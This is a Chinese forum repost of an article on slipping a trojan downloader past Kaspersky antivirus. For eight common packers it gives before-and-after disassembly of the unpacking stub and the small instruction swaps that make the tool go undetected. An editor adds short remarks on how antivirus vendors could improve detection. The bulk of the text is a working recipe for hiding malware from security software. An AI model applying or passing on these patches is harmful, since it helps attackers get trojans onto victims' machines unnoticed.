查看完整版本: 简单修改木马壳头让卡巴斯基哑口无言

51testing 2007-12-13 13:39

简单修改木马壳头让卡巴斯基哑口无言

[b]简介:在众多反病毒产品中,[/b][url=http://product.it168.com/list/b/05092107_1.shtml][b]卡巴斯基[/b][/url][b]在用户口碑相当不错,很多用户都说卡巴司基的虚拟机脱壳技术很强。然而笔者仅仅对通用的“加壳”步骤进行了小小的调整,却有了惊人的发现——仅通过简单的壳头修改,卡巴大叔竟然无语了。[/b]   “小样,你以为你穿了马甲我就不认识你了?”这句台词耳熟能详。现在用户用这句话来形容反病毒厂商的脱壳技术。这项技术的产生与病毒程序编写者使用的“加壳”技术密切相关。
  众所周知,所谓“加壳”就是一种通过一系列数学运算,将可执行程序文件或动态链接库文件的编码进行改变,以达到缩小文件体积或加密程序编码的目的。运行时,外壳程序先被执行,然后由这个外壳程序负责将用户原有的程序在内存中解压缩,并把控制权交还给脱壳后的真正程序。一切操作自动完成,用户不知道也无需知道壳程序是如何运行的。一般情况下,加壳程序和未加壳程序的运行结果是一样的。
  面对病毒编写者为其病毒“加壳”的问题,反病毒厂商自然而然地采用“脱壳”技术。脱壳的一般流程包括,查壳、寻找OEP(入口点,防止被破解)、Dump(卸出)、修复等步骤。目前,脱壳能力强弱则成为[url=http://product.it168.com/list/b/0509_1.shtml]杀毒软件[/url]查杀病毒能力如何的重要衡量指标。
  病毒编写者与反病毒厂商之间新一轮博弈在“加壳”与“脱壳”两个共生技术之间展开了。
  在众多反病毒产品中,卡巴斯基在用户口碑相当不错,很多用户都说卡巴司基的虚拟机脱壳技术很强。然而笔者仅仅对通用的“加壳”步骤进行了小小的调整,却有了惊人的发现——仅通过简单的壳头修改,卡巴大叔竟然无语了。
  笔者随便在[url=http://net.it168.com/]网络[/url]上下了一个国外的下载者Deception4.0(以下简称DT)。卡巴是杀它的,不然测试就没法进行了。虽然只修改了加在DT上的9,但是按照这种方式加在其他的可执行文件上卡巴也是不报毒的,其中修改后的程序保证了程序的可再运行,不然这种修改是无意义的测试。开始操作,下面准备了八个最常见的壳。
  [b]一、首先对NSPACK3.6的测试[/b]
  用OD载入被加过NSPACK壳的DT,复制出前十几行,如下(蓝色加粗是要被修改的部位,以下格式如一)
  004CF302     E8 00000000      call 复件_(2).004CF307
  004CF307     5D               pop ebp
  [color=#0000ff][b]004CF308     83C5 F9          sub ebp,7[/b][/color]
  004CF30B     8D85 0CFFFFFF    lea eax,dword ptr ss:[ebp-F4]
  004CF311     8338 01          cmp dword ptr ds:[eax],1
  004CF314     0F84 47020000    je 复件_(2).004CF561
  004CF31A     C700 01000000    mov dword ptr ds:[eax],1
  004CF320     8BD5             mov edx,ebp
  004CF322     2B95 A0FEFFFF    sub edx,dword ptr ss:[ebp-160]
  004CF328     8995 A0FEFFFF    mov dword ptr ss:[ebp-160],edx
  [color=#0000ff][b]004CF32E     1195 D0FEFFFF    add dword ptr ss:[ebp-130],edx
[/b][/color]  004CF334     8DB5 14FFFFFF    lea esi,dword ptr ss:[ebp-EC]
  [color=#0000ff][b]004CF33A     1116             add dword ptr ds:[esi],edx[/b][/color]
  修改成如下(红色部分)
  004CF302     E8 00000000      call 复件_(2).004CF307
  004CF307     5D               pop ebp
  [color=#ff0000][b]004CF308     83C5 F9          add ebp,-7[/b][/color]
  004CF30B     8D85 0CFFFFFF    lea eax,dword ptr ss:[ebp-F4]
  004CF311     8338 01          cmp dword ptr ds:[eax],1
  004CF314     0F84 47020000    je 复件_(2).004CF561
  004CF31A     C700 01000000    mov dword ptr ds:[eax],1
  004CF320     8BD5             mov edx,ebp
  004CF322     2B95 A0FEFFFF    sub edx,dword ptr ss:[ebp-160]
  004CF328     8995 A0FEFFFF    mov dword ptr ss:[ebp-160],edx
  [color=#ff0000][b]004CF32E     1195 D0FEFFFF    adc dword ptr ss:[ebp-130],edx[/b][/color]
  004CF334     8DB5 14FFFFFF    lea esi,dword ptr ss:[ebp-EC]
  [color=#ff0000][b]004CF33A     1116             adc dword ptr ds:[esi],edx[/b][/color]
  之后保存文件,用卡巴扫描,不再报毒。
  [b]二、FSG2.0的测试[/b]
  OD载入被FSG2.0加了壳的DT
  复制出前十几行,如下
  00400154 f>  8725 2C115300    xchg dword ptr ds:[53112C],esp
  0040015A     61               popad
  0040015B     94               xchg eax,esp
  0040015C     55               push ebp
  0040015D     A4               movs byte ptr es:[edi],byte ptr ds:>
  0040015E     B6 80            mov dh,80
  00400160     FF13             call dword ptr ds:[ebx]
  [color=#0000ff][b]00400162   ^ 77 F9            jnb short fsg2_0.0040015D[/b][/color]
  00400164     33C9             xor ecx,ecx
  00400166     FF13             call dword ptr ds:[ebx]
  [color=#0000ff][b]00400168     77 16            jnb short fsg2_0.00400180[/b][/color]
  0040016A     33C0             xor eax,eax
  修改后如下
  00400154 f>  8725 2C115300    xchg dword ptr ds:[53112C],esp
  0040015A     61               popad
  0040015B     94               xchg eax,esp
  0040015C     55               push ebp
  0040015D     A4               movs byte ptr es:[edi],byte ptr ds:>
  0040015E     B6 80            mov dh,80
  00400160     FF13             call dword ptr ds:[ebx]
  [color=#ff0000][b]00400162   ^ 77 F9            ja short fsg2_0.0040015D[/b][/color]
  00400164     33C9             xor ecx,ecx
  00400166     FF13             call dword ptr ds:[ebx]
  [color=#ff0000][b]00400168     77 16            ja short fsg2_0.00400180[/b][/color]
  0040016A     33C0             xor eax,eax
  卡巴扫描,不再报毒。
[b]  三、winupack的测试[/b]
[b]  [/b]OD载入被加了壳的DT,如下
[b]  [/b]00526740 w>  60               pushad
[b]  [/b]00526741     E8 09000000      call winupack.0052674F
[b]  [/b]00526746     BE 651200E9      mov esi,E9001265
[b]  [/b]0052674B     06               push es
[color=#0000ff][b]  0052674C     1200             add al,byte ptr ds:[eax]
  0052674E     1033             add byte ptr ds:[ebx],dh[/b][/color]
[b]  [/b]00526750     C9               leave
[b]  [/b]00526751     5E               pop esi
[b]  [/b]00526752     870E             xchg dword ptr ds:[esi],ecx
[b]  [/b]00526754   ^ E3 F4            jecxz short winupack.0052674A
[b]  [color=#0000ff]00526756     1BF1             sub esi,ecx[/color][/b]
[b]  [/b]00526758     8BDE             mov ebx,esi
[b]  [/b]0052675A     AD               lods dword ptr ds:[esi]
[b]  [color=#0000ff]0052675B     1BD8             sub ebx,eax[/color][/b]
[b]  [/b]0052675D     AD               lods dword ptr ds:[esi]
[b]  [/b]做了修改的如下
[b]  [/b]00526740 w>  60               pushad
[b]  [/b]00526741     E8 09000000      call winupack.0052674F
[b]  [/b]00526746     BE 651200E9      mov esi,E9001265
[b]  [/b]0052674B     06               push es
[color=#ff0000]  0052674C     1200             adc al,byte ptr ds:[eax]
  0052674E     1033             adc byte ptr ds:[ebx],dh[/color]
[b]  [/b]00526750     C9               leave
[b]  [/b]00526751     5E               pop esi
[b]  [/b]00526752     870E             xchg dword ptr ds:[esi],ecx
[b]  [/b]00526754   ^ E3 F4            jecxz short winupack.0052674A
[b]  [color=#ff0000]00526756     1BF1             sbb esi,ecx[/color][/b]
[b]  [/b]00526758     8BDE             mov ebx,esi
[b]  [/b]0052675A     AD               lods dword ptr ds:[esi]
[b]  [color=#ff0000]0052675B     1BD8             sbb ebx,eax[/color][/b]
[b]  [/b]0052675D     AD               lods dword ptr ds:[esi]
[b]  [/b]卡巴扫描,不再报毒。
[b]  四、ASPack的修改[/b]
[b]  [/b]同样OD载入复制出前面的十几行反汇编代码,注意这个在载入之后把滚动条再向上拉一行。复制出来如下
[b]  [/b]004CC000     90               nop
[b]  [/b]004CC001 a>  60               pushad
[b]  [/b]004CC002     E8 03000000      call asp.004CC00A
[b]  [/b]004CC007   - E9 EB045D45      jmp 45A9C4F7
[b]  [/b]004CC00C     55               push ebp
[b]  [/b]004CC00D     C3               retn
[b]  [/b]004CC00E     E8 01000000      call asp.004CC014
[b]  [/b]004CC013     EB 5D            jmp short asp.004CC072
[b]  [/b]004CC015     BB EDFFFFFF      mov ebx,-13
[b]  [/b]004CC01A     03DD             add ebx,ebp
[b]  [/b]004CC01C     81EB 00C00C00    sub ebx,0CC000
[b]  [/b]004CC022     83BD 22040000 00 cmp dword ptr ss:[ebp+422],0
[b]  [/b]修改后如下,对照前面地址一一对应的修改
[b]  [/b]004CC000     60               pushad
[b]  [/b]004CC001 a>  90               nop
[b]  [/b]004CC002     E8 03000000      call asp.004CC00A
[b]  [/b]004CC007     E8 EB045D45      call 45A9C4F7
[b]  [/b]004CC00C     55               push ebp
[b]  [/b]004CC00D     C3               retn
[b]  [/b]004CC00E     E8 01000000      call asp.004CC014
[b]  [/b]004CC013     73 5D            jnb short asp.004CC072
[b]  [/b]004CC015     BB EDFFFFFF      mov ebx,-13
[b]  [/b]004CC01A     11EB             adc ebx,ebp
[b]  [/b]004CC01C     81C3 0040F3FF    add ebx,FFF34000
[b]  [/b]004CC022     83BD 22040000 00 cmp dword ptr ss:[ebp+422],0
  卡巴扫描,不再报毒。
[b]  五 JDPACK的修改[/b]
[b]  [/b]这个是修改最复杂的一个。几乎面目全非了。但是能够保证运行的。修改前,如下
[color=#0000ff]  004CC000 复>  60               pushad
  004CC001     E8 00000000      call 复件_(8).004CC006
  004CC006     5D               pop ebp
  004CC007     8BD5             mov edx,ebp
  004CC009     81ED C62B4000    sub ebp,复件_(8).00402BC6
  004CC00F     2B95 61344000    sub edx,dword ptr ss:[ebp+403461]
  004CC015     81EA 06000000    sub edx,6
  004CC01B     8995 65344000    mov dword ptr ss:[ebp+403465],edx[/color]
[b]  [/b]004CC021     83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0
[b]  [/b]修改后的
[color=#ff0000]  004CC000 复>  90               nop
  004CC001     E8 00000000      call 复件_(8).004CC006
  004CC006     5D               pop ebp
  004CC007     8BC5             mov eax,ebp
  004CC009     8BD0             mov edx,eax
  004CC00B     81ED C62B4000    sub ebp,复件_(8).00402BC6
  004CC011     2B95 61344000    sub edx,dword ptr ss:[ebp+403461]
  004CC017     83C2 FA          add edx,-6
  004CC01A     8995 65344000    mov dword ptr ss:[ebp+403465],edx
  004CC020     90               nop[/color]
[b]  [/b]004CC021     83BD 69344000 00 cmp dword ptr ss:[ebp+403469],0
[b]  [/b]这个真的是让我改的面目全非了 ,不过你可以把004CC021前面的都NOP掉,然后一行一行汇编上去就可以了。
[b]  [/b][b]六、UPX的修改[/b]
[b]  [/b]UPX可以说是免费的最经典的压缩壳。我门来修改一下,OD载入。修改前,如下
[b]  [/b]004CE240 复>  60               pushad
[b]  [/b]004CE241     BE 00504700      mov esi,复件_(2).00475000
[b]  [/b]004CE246     8DBE 00C0F8FF    lea edi,dword ptr ds:[esi+FFF8C000]
[b]  [/b]004CE24C     C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25>
[b]  [/b]004CE256     57               push edi
[b]  [/b]004CE257     83CD FF          or ebp,FFFFFFFF
[color=#0000ff]  004CE25A     EB 0E            jmp short 复件_(2).004CE26A
  004CE25C     90               nop
  004CE25D     90               nop
  004CE25E     90               nop
  004CE25F     90               nop[/color]
[b]  [/b]004CE260     8A06             mov al,byte ptr ds:[esi]
[b]  [/b]修改后如下
[b]  [/b]004CE240 复>  60               pushad
[b]  [/b]004CE241     BE 00504700      mov esi,复件_(2).00475000
[b]  [/b]004CE246     8DBE 00C0F8FF    lea edi,dword ptr ds:[esi+FFF8C000]
[b]  [/b]004CE24C     C787 0CA70800 A5>mov dword ptr ds:[edi+8A70C],59AD25>
[b]  [/b]004CE256     57               push edi
[b]  [/b]004CE257     83CD FF          or ebp,FFFFFFFF
[color=#ff0000]  004CE25A     77 0E            ja short 复件_(2).004CE26A
  004CE25C     73 0C            jnb short 复件_(2).004CE26A
  004CE25E     72 0A            jb short 复件_(2).004CE26A[/color]
[b]  [/b]004CE260     8A06             mov al,byte ptr ds:[esi]
  卡巴扫描,不再报毒。
[b][b]  [/b]七、NSPACK1.1的修改[/b]
[b][b]  [/b][/b]看了一下这个和3.6版本不是一个样子的,所以这个也修改下。这个最简单一个指令卡巴就不发出那难听的叫声了。OD载入,如下
[b][b]  [/b][/b]004CF600 复>  9C               pushfd
[b][b]  [/b][/b]004CF601     60               pushad
[b][b]  [/b][color=#0000ff]004CF602     68 07F64C00      call 复件_(4).004CF607[/color][/b]
[b][b]  [/b][/b]004CF607     5D               pop ebp
[b][b]  [/b][/b]修改如下
[b][b]  [/b][/b]004CF600 复>  9C               pushfd
[b][b]  [/b][/b]004CF601     60               pushad
[b][b]  [/b][color=#ff0000]004CF602     68 07F64C00      push 复件_(4).004CF607[/color][/b]
[b][b]  [/b][/b]004CF607     5D               pop ebp
[b][b]  [/b]八、堀北压缩(KBYS)0.28的修改[/b]
[b][b]  [/b][/b]这个壳可以和UPX相媲美的压缩壳,但是没有UPX那么著名,只要是它压缩过的,卡巴大叔们都一路[url=http://product.it168.com/list/b/04181292_1.shtml]KILL[/url]。简单修改下,卡巴大叔安静了。OD载入,前四行如下
[color=#0000ff][b][b]  [/b]00401000 复>    E8 F8C10C00    push 复件_(5).004CD1FD
[b]  [/b]00401005       68 0B104000    call 复件_(5).0040100B                ;  入口地址[/b][/color]
[b][b]  [/b][/b]0040100A   \.  C3             retn
[b][b]  [/b][/b]0040100B    $  C3             retn
[b][b]  [/b][/b]修改如下
[color=#ff0000][b][b]  [/b]00401000 复>    E8 F8C10C00    call 复件_(5).004CD1FD
[b]  [/b]00401005       68 0B104000    push 复件_(5).0040100B                ;  入口地址[/b][/color]
[b][b]  [/b][/b]0040100A   \.  C3             retn
[b][b]  [/b][/b]0040100B    $  C3             retn
[b][b]  [/b][/b]以上是列举了八种壳,都是通过壳头的简单修改,就使得卡巴这个号称虚拟脱壳杀毒很强的世界顶级杀软沉默了,当然我们抛开它目前的主动防御杀毒,单从文件查杀上做了一次测试,

[b][b]  [/b][/b]从中似乎能分析出卡巴对于脱壳,也似乎是象特征码那样,将壳的特征入库了,然后在利用脱壳引擎把壳脱掉去杀毒。如果这样,那许多壳的特征卡巴只放在了壳的头部,尤其这种压缩形式的壳是这样的,对于某些加密壳,壳头怎样修改都无用。以上也仅仅是一种猜测。
[b]  编者:[/b]作者通过简单的修改,使一个被杀的下载者逃过了[url=http://product.it168.com/list/b/05092107_1.shtml]卡巴斯基[/url]的查杀。其实,现在很多黑客都会通过修改木马的服务端来躲避[url=http://product.it168.com/list/b/0509_1.shtml]杀毒软件[/url]的查杀。本文是以卡巴斯基为例子,相信大多数知名的杀毒软件都会遇到这类难题。编者认为杀毒软件对于一个壳不要简单只识别壳的头部来进行识别,取复合的壳特征码,这样会增加查杀力度。另外从KBYS这个压缩壳上也可以看出一个缺陷,卡巴通杀了加这个壳的可执行文件,但是似乎并未进行脱壳后的再查杀,所以只要让这个壳免杀,那加了壳的文件也就免杀了,杀的不彻底。另外,修改的过程中发现对于一些加密壳卡巴的查杀力度较大,这似乎对于不同种类的壳卡巴有不同的态度,但是纠其作为杀毒软件来说,应该是一次性的彻底取特征码。
页: [1]
查看完整版本: 简单修改木马壳头让卡巴斯基哑口无言